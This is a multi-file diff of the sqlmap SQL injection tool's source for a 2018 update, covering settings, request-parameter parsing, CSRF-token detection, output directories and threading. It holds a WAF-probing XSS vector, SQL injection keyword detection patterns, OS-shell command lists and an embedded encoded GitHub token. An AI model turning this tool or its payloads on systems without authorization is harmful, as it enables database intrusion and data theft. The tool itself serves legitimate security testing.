INJECT_HERE_REGEX = '(?i)%INJECT[_ ]?HERE%'
INJECT_HERE_REGEX = r"(?i)%INJECT[_ ]?HERE%"
# Minimum chunk length used for retrieving data over error based payloads
MIN_ERROR_CHUNK_LENGTH = 8
@@ -390,7 +417,7 @@ REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__"
REFLECTED_BORDER_REGEX = r"[^A-Za-z]+"
# Regular expression used for replacing non-alphanum characters
REFLECTED_REPLACEMENT_REGEX = r".+"
REFLECTED_REPLACEMENT_REGEX = r"[^\n]{1,100}"
# Maximum time (in seconds) spent per reflective value(s) replacement
REFLECTED_REPLACEMENT_TIMEOUT = 3
@@ -410,9 +437,15 @@ DEFAULT_MSSQL_SCHEMA = "dbo"
# Display hash attack info every mod number of items
HASH_MOD_ITEM_DISPLAY = 11
# Display marker for (cracked) empty password
HASH_EMPTY_PASSWORD_MARKER = "<empty>"
# Maximum integer value
MAX_INT = sys.maxint
# Replacement for unsafe characters in dump table filenames
UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_'
# Options that need to be restored in multiple targets run mode
RESTORE_MERGED_OPTIONS = ("col", "db", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")
@@ -468,7 +501,7 @@ LEGAL_DISCLAIMER = "Usage of sqlmap for attacking targets without prior mutual c
REFLECTIVE_MISS_THRESHOLD = 20
# Regular expression used for extracting HTML title
HTML_TITLE_REGEX = "<title>(?P<result>[^<]+)</title>"
HTML_TITLE_REGEX = r"<title>(?P<result>[^<]+)</title>"
# Table used for Base64 conversion in WordPress hash cracking routine
ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
@@ -479,7 +512,7 @@ PICKLE_REDUCE_WHITELIST = (types.BooleanType, types.DictType, types.FloatType, t
DUMMY_SQL_INJECTION_CHARS = ";()'"
# Simple check against dummy users
DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY)\b"
DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY|FLOOR\(RAND)\b"
# Extensions skipped by crawler
CRAWL_EXCLUDE_EXTENSIONS = ("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa", "iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu", "nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", "s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", "tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "z", "zip", "zipx")
@@ -505,7 +538,7 @@ CHECK_INTERNET_ADDRESS = "https://ipinfo.io/"
# Value to look for in response to CHECK_INTERNET_ADDRESS
CHECK_INTERNET_VALUE = "IP Address Details"
# Vectors used for provoking specific WAF/IPS/IDS behavior(s)
# Vectors used for provoking specific WAF/IPS behavior(s)
WAF_ATTACK_VECTORS = (
"", # NIL
"search=<script>alert(1)</script>",
@@ -520,6 +553,9 @@ ROTATING_CHARS = ('\\', '|', '|', '/', '-')
# Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory)
BIGARRAY_CHUNK_SIZE = 1024 * 1024
# Compress level used for storing BigArray chunks to disk (0-9)
BIGARRAY_COMPRESS_LEVEL = 9
# Maximum number of socket pre-connects
SOCKET_PRE_CONNECT_QUEUE_SIZE = 3
@@ -561,7 +597,7 @@ DEFAULT_COOKIE_DELIMITER = ';'
FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
# Github OAuth token used for creating an automatic Issue for unhandled exceptions
GITHUB_REPORT_OAUTH_TOKEN = "NTMyNWNkMmZkMzRlMDZmY2JkMmY0MGI4NWI0MzVlM2Q5YmFjYWNhYQ=="
GITHUB_REPORT_OAUTH_TOKEN = "NTYzYjhmZWJjYzc0Njg2ODJhNzhmNDg1YzM0YzlkYjk3N2JiMzE3Nw=="
# Skip unforced HashDB flush requests below the threshold number of cached items
HASHDB_FLUSH_THRESHOLD = 32
@@ -576,7 +612,7 @@ HASHDB_RETRIEVE_RETRIES = 3
HASHDB_END_TRANSACTION_RETRIES = 3
# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism)
HASHDB_MILESTONE_VALUE = "dPHoJRQYvs" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'
HASHDB_MILESTONE_VALUE = "BZzRotigLX" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'
# Warn user of possible delay due to large page dump in full UNION query injections
LARGE_OUTPUT_THRESHOLD = 1024 ** 2
@@ -609,7 +645,7 @@ BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample
DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">"
# Regular expression used for recognition of file inclusion errors
FI_ERROR_REGEX = "(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"
FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"
# Length of prefix and suffix used in non-SQLI heuristic checks
NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
@@ -618,7 +654,7 @@ NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024
# Maximum response total page size (trimmed if larger)
MAX_CONNECTION_TOTAL_SIZE = 50 * 1024 * 1024
MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
# For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher)
MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024
@@ -639,7 +675,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
CHECK_ZERO_COLUMNS_THRESHOLD = 10
# Boldify all logger messages containing these "patterns"
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response")
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported")
# Generic www root directory names
GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www")
@@ -651,7 +687,7 @@ MAX_HELP_OPTION_LENGTH = 18
MAX_CONNECT_RETRIES = 100
# Strings for detecting formatting errors
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "DataTypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
# Regular expression used for extracting ASP.NET view state values
VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
@@ -726,7 +762,7 @@ EVALCODE_KEYWORD_SUFFIX = "_KEYWORD"
NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File."
# Infixes used for automatic recognition of parameters carrying anti-CSRF tokens
CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf")
CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token")
# Prefixes used in brute force search for web server document root
BRUTE_DOC_ROOT_PREFIXES = {
@@ -764,9 +800,9 @@ tr:nth-child(even) {
background-color: #D3DFEE
}
td{
font-size:10px;
font-size:12px;
}
th{
font-size:10px;
font-size:12px;
}
</style>"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -53,28 +53,33 @@ def clearHistory():
readline.clear_history()
def saveHistory(completion=None):
if not readlineAvailable():
return
if completion == AUTOCOMPLETE_TYPE.SQL:
historyPath = paths.SQL_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.OS:
historyPath = paths.OS_SHELL_HISTORY
else:
historyPath = paths.SQLMAP_SHELL_HISTORY
try:
with open(historyPath, "w+"):
if not readlineAvailable():
return
if completion == AUTOCOMPLETE_TYPE.SQL:
historyPath = paths.SQL_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.OS:
historyPath = paths.OS_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.API:
historyPath = paths.API_SHELL_HISTORY
else:
historyPath = paths.SQLMAP_SHELL_HISTORY
try:
with open(historyPath, "w+"):
pass
except:
pass
except:
pass
readline.set_history_length(MAX_HISTORY_LENGTH)
try:
readline.write_history_file(historyPath)
except IOError, msg:
warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg)
logger.warn(warnMsg)
readline.set_history_length(MAX_HISTORY_LENGTH)
try:
readline.write_history_file(historyPath)
except IOError, msg:
warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg)
logger.warn(warnMsg)
except KeyboardInterrupt:
pass
def loadHistory(completion=None):
if not readlineAvailable():
@@ -86,6 +91,8 @@ def loadHistory(completion=None):
historyPath = paths.SQL_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.OS:
historyPath = paths.OS_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.API:
historyPath = paths.API_SHELL_HISTORY
else:
historyPath = paths.SQLMAP_SHELL_HISTORY
@@ -104,20 +111,20 @@ def autoCompletion(completion=None, os=None, commands=None):
if os == OS.WINDOWS:
# Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
completer = CompleterNG({
"copy": None, "del": None, "dir": None,
"echo": None, "md": None, "mem": None,
"move": None, "net": None, "netstat -na": None,
"ver": None, "xcopy": None, "whoami": None,
})
"copy": None, "del": None, "dir": None,
"echo": None, "md": None, "mem": None,
"move": None, "net": None, "netstat -na": None,
"ver": None, "xcopy": None, "whoami": None,
})
else:
# Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
completer = CompleterNG({
"cp": None, "rm": None, "ls": None,
"echo": None, "mkdir": None, "free": None,
"mv": None, "ifconfig": None, "netstat -natu": None,
"pwd": None, "uname": None, "id": None,
})
"cp": None, "rm": None, "ls": None,
"echo": None, "mkdir": None, "free": None,
"mv": None, "ifconfig": None, "netstat -natu": None,
"pwd": None, "uname": None, "id": None,
})
readline.set_completer(completer.complete)
readline.parse_and_bind("tab: complete")

View File

@@ -1,14 +1,13 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import errno
import os
import subprocess
import sys
import time
from lib.core.settings import IS_WIN
@@ -24,11 +23,6 @@ else:
import select
import fcntl
if (sys.hexversion >> 16) >= 0x202:
FCNTL = fcntl
else:
import FCNTL
def blockingReadFromFD(fd):
# Quick twist around original Twisted function
# Blocking read from a non-blocking file descriptor

View File

@@ -1,11 +1,10 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import codecs
import functools
import os
import re
@@ -45,6 +44,7 @@ from lib.core.enums import POST_HINT
from lib.core.exception import SqlmapFilePathException
from lib.core.exception import SqlmapGenericException
from lib.core.exception import SqlmapMissingPrivileges
from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapUserQuitException
from lib.core.option import _setDBMS
@@ -52,9 +52,11 @@ from lib.core.option import _setKnowledgeBaseAttributes
from lib.core.option import _setAuthCred
from lib.core.settings import ASTERISK_MARKER
from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import HOST_ALIASES
from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX
from lib.core.settings import INJECT_HERE_REGEX
from lib.core.settings import JSON_RECOGNITION_REGEX
from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX
from lib.core.settings import MULTIPART_RECOGNITION_REGEX
@@ -62,6 +64,7 @@ from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS
from lib.core.settings import REFERER_ALIASES
from lib.core.settings import RESTORE_MERGED_OPTIONS
from lib.core.settings import RESULTS_FILE_FORMAT
from lib.core.settings import SESSION_SQLITE_FILE
from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import UNENCODED_ORIGINAL_VALUE
from lib.core.settings import UNICODE_ENCODING
@@ -82,6 +85,7 @@ def _setRequestParams():
conf.parameters[None] = "direct connection"
return
hintNames = []
testableParameters = False
# Perform checks on GET parameters
@@ -100,7 +104,6 @@ def _setRequestParams():
if conf.data is not None:
conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method
hintNames = []
def process(match, repl):
retVal = match.group(0)
@@ -141,14 +144,14 @@ def _setRequestParams():
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*"[^"]*)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".+?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data)
if match and not (conf.testParameter and match.group("name") not in conf.testParameter):
_ = match.group(2)
_ = re.sub(r'("[^"]+)"', '\g<1>%s"' % kb.customInjectionMark, _)
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', '\g<0>%s' % kb.customInjectionMark, _)
_ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _)
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
kb.postHint = POST_HINT.JSON
@@ -229,9 +232,9 @@ def _setRequestParams():
if kb.customInjectionMark not in conf.data: # in case that no usable parameter values has been found
conf.parameters[PLACE.POST] = conf.data
kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in conf.data) else kb.processUserMarks
kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in (conf.data or "")) else kb.processUserMarks
if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not kb.customInjectionMark in (conf.data or "") and conf.url.startswith("http"):
if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"):
warnMsg = "you've provided target URL without any GET "
warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') "
warnMsg += "and without providing any POST parameters "
@@ -343,7 +346,7 @@ def _setRequestParams():
# Url encoding of the header values should be avoided
# Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value
if httpHeader.title() == HTTP_HEADER.USER_AGENT:
if httpHeader.upper() == HTTP_HEADER.USER_AGENT.upper():
conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue)
condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES, True)))
@@ -352,7 +355,7 @@ def _setRequestParams():
conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue}
testableParameters = True
elif httpHeader.title() == HTTP_HEADER.REFERER:
elif httpHeader.upper() == HTTP_HEADER.REFERER.upper():
conf.parameters[PLACE.REFERER] = urldecode(headerValue)
condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES, True)))
@@ -361,7 +364,7 @@ def _setRequestParams():
conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue}
testableParameters = True
elif httpHeader.title() == HTTP_HEADER.HOST:
elif httpHeader.upper() == HTTP_HEADER.HOST.upper():
conf.parameters[PLACE.HOST] = urldecode(headerValue)
condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES, True)))
@@ -376,7 +379,7 @@ def _setRequestParams():
if condition:
conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders)
conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)}
conf.httpHeaders = [(header, value.replace(kb.customInjectionMark, "")) for header, value in conf.httpHeaders]
conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, "")) for _ in conf.httpHeaders]
testableParameters = True
if not conf.parameters:
@@ -390,12 +393,15 @@ def _setRequestParams():
raise SqlmapGenericException(errMsg)
if conf.csrfToken:
if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}):
if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken
errMsg += "found in provided GET, POST, Cookie or header values"
raise SqlmapGenericException(errMsg)
else:
for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE):
if conf.csrfToken:
break
for parameter in conf.paramDict.get(place, {}):
if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES):
message = "%s parameter '%s' appears to hold anti-CSRF token. " % (place, parameter)
@@ -403,7 +409,7 @@ def _setRequestParams():
if readInput(message, default='N', boolean=True):
conf.csrfToken = getUnicode(parameter)
break
break
def _setHashDB():
"""
@@ -411,7 +417,7 @@ def _setHashDB():
"""
if not conf.hashDBFile:
conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, "session.sqlite")
conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, SESSION_SQLITE_FILE)
if os.path.exists(conf.hashDBFile):
if conf.flushSession:
@@ -445,13 +451,10 @@ def _resumeHashDBValues():
conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH)
for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []:
if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and \
injection.parameter in conf.paramDict[injection.place]:
if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and injection.parameter in conf.paramDict[injection.place]:
if not conf.tech or intersect(conf.tech, injection.data.keys()):
if intersect(conf.tech, injection.data.keys()):
injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech)
if injection not in kb.injections:
kb.injections.append(injection)
@@ -466,7 +469,13 @@ def _resumeDBMS():
value = hashDBRetrieve(HASHDB_KEYS.DBMS)
if not value:
return
if conf.offline:
errMsg = "unable to continue in offline mode "
errMsg += "because of lack of usable "
errMsg += "session data"
raise SqlmapNoneDataException(errMsg)
else:
return
dbms = value.lower()
dbmsVersion = [UNKNOWN_DBMS_VERSION]
@@ -545,7 +554,7 @@ def _setResultsFile():
if not conf.resultsFP:
conf.resultsFilename = os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower())
try:
conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0)
conf.resultsFP = openFile(conf.resultsFilename, "a", UNICODE_ENCODING, buffering=0)
except (OSError, IOError), ex:
try:
warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex))
@@ -570,14 +579,14 @@ def _createFilesDir():
Create the file directory.
"""
if not conf.rFile:
if not conf.fileRead:
return
conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname
if not os.path.isdir(conf.filePath):
try:
os.makedirs(conf.filePath, 0755)
os.makedirs(conf.filePath)
except OSError, ex:
tempDir = tempfile.mkdtemp(prefix="sqlmapfiles")
warnMsg = "unable to create files directory "
@@ -599,7 +608,7 @@ def _createDumpDir():
if not os.path.isdir(conf.dumpPath):
try:
os.makedirs(conf.dumpPath, 0755)
os.makedirs(conf.dumpPath)
except OSError, ex:
tempDir = tempfile.mkdtemp(prefix="sqlmapdump")
warnMsg = "unable to create dump directory "
@@ -618,39 +627,41 @@ def _createTargetDirs():
Create the output directory.
"""
try:
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
_ = os.path.join(paths.SQLMAP_OUTPUT_PATH, randomStr())
open(_, "w+b").close()
os.remove(_)
if conf.outputDir:
warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH
logger.warn(warnMsg)
except (OSError, IOError), ex:
for context in "output", "history":
directory = paths["SQLMAP_%s_PATH" % context.upper()]
try:
tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
except Exception, _:
errMsg = "unable to write to the temporary directory ('%s'). " % _
errMsg += "Please make sure that your disk is not full and "
errMsg += "that you have sufficient write permissions to "
errMsg += "create temporary files and/or directories"
raise SqlmapSystemException(errMsg)
if not os.path.isdir(directory):
os.makedirs(directory)
warnMsg = "unable to %s output directory " % ("create" if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH) else "write to the")
warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex))
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
logger.warn(warnMsg)
_ = os.path.join(directory, randomStr())
open(_, "w+b").close()
os.remove(_)
paths.SQLMAP_OUTPUT_PATH = tempDir
if conf.outputDir and context == "output":
warnMsg = "using '%s' as the %s directory" % (directory, context)
logger.warn(warnMsg)
except (OSError, IOError), ex:
try:
tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context)
except Exception, _:
errMsg = "unable to write to the temporary directory ('%s'). " % _
errMsg += "Please make sure that your disk is not full and "
errMsg += "that you have sufficient write permissions to "
errMsg += "create temporary files and/or directories"
raise SqlmapSystemException(errMsg)
warnMsg = "unable to %s %s directory " % ("create" if not os.path.isdir(directory) else "write to the", context)
warnMsg += "'%s' (%s). " % (directory, getUnicode(ex))
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
logger.warn(warnMsg)
paths["SQLMAP_%s_PATH" % context.upper()] = tempDir
conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname)))
try:
if not os.path.isdir(conf.outputPath):
os.makedirs(conf.outputPath, 0755)
os.makedirs(conf.outputPath)
except (OSError, IOError, TypeError), ex:
try:
tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
@@ -668,8 +679,10 @@ def _createTargetDirs():
conf.outputPath = tempDir
conf.outputPath = getUnicode(conf.outputPath)
try:
with codecs.open(os.path.join(conf.outputPath, "target.txt"), "w+", UNICODE_ENCODING) as f:
with openFile(os.path.join(conf.outputPath, "target.txt"), "w+") as f:
f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname)
f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET))
f.write(" # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding))
@@ -688,6 +701,13 @@ def _createTargetDirs():
_createFilesDir()
_configureDumper()
def _setAuxOptions():
"""
Setup auxiliary (host-dependent) options
"""
kb.aliasName = randomStr(seed=hash(conf.hostname or ""))
def _restoreMergedOptions():
"""
Restore merged options (command line, configuration file and default values)
@@ -734,6 +754,9 @@ def initTargetEnv():
setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original)
kb.postSpaceToPlus = '+' in original
match = re.search(INJECT_HERE_REGEX, conf.data or "") or re.search(INJECT_HERE_REGEX, conf.url or "")
kb.customInjectionMark = match.group(0) if match else CUSTOM_INJECTION_MARK_CHAR
def setupTargetEnv():
_createTargetDirs()
_setRequestParams()
@@ -741,3 +764,4 @@ def setupTargetEnv():
_resumeHashDBValues()
_setResultsFile()
_setAuthCred()
_setAuxOptions()

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -64,9 +64,6 @@ class _ThreadData(threading.local):
ThreadData = _ThreadData()
def getCurrentThreadUID():
return hash(threading.currentThread())
def readInput(message, default=None, checkBatch=True, boolean=False):
# It will be overwritten by original from lib.core.common
pass
@@ -95,9 +92,12 @@ def exceptionHandledFunction(threadFunction, silent=False):
kb.threadException = True
raise
except Exception, ex:
if not silent:
if not silent and kb.get("threadContinue"):
logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
if conf.get("verbose") > 1:
traceback.print_exc()
def setDaemon(thread):
# Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation
if PYVERSION >= "2.6":
@@ -168,6 +168,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
except (KeyboardInterrupt, SqlmapUserQuitException), ex:
print
kb.prependFlag = False
kb.threadContinue = False
kb.threadException = True
@@ -188,6 +189,9 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
kb.threadException = True
logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
if conf.get("verbose") > 1:
traceback.print_exc()
except:
from lib.core.common import unhandledExceptionMessage

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
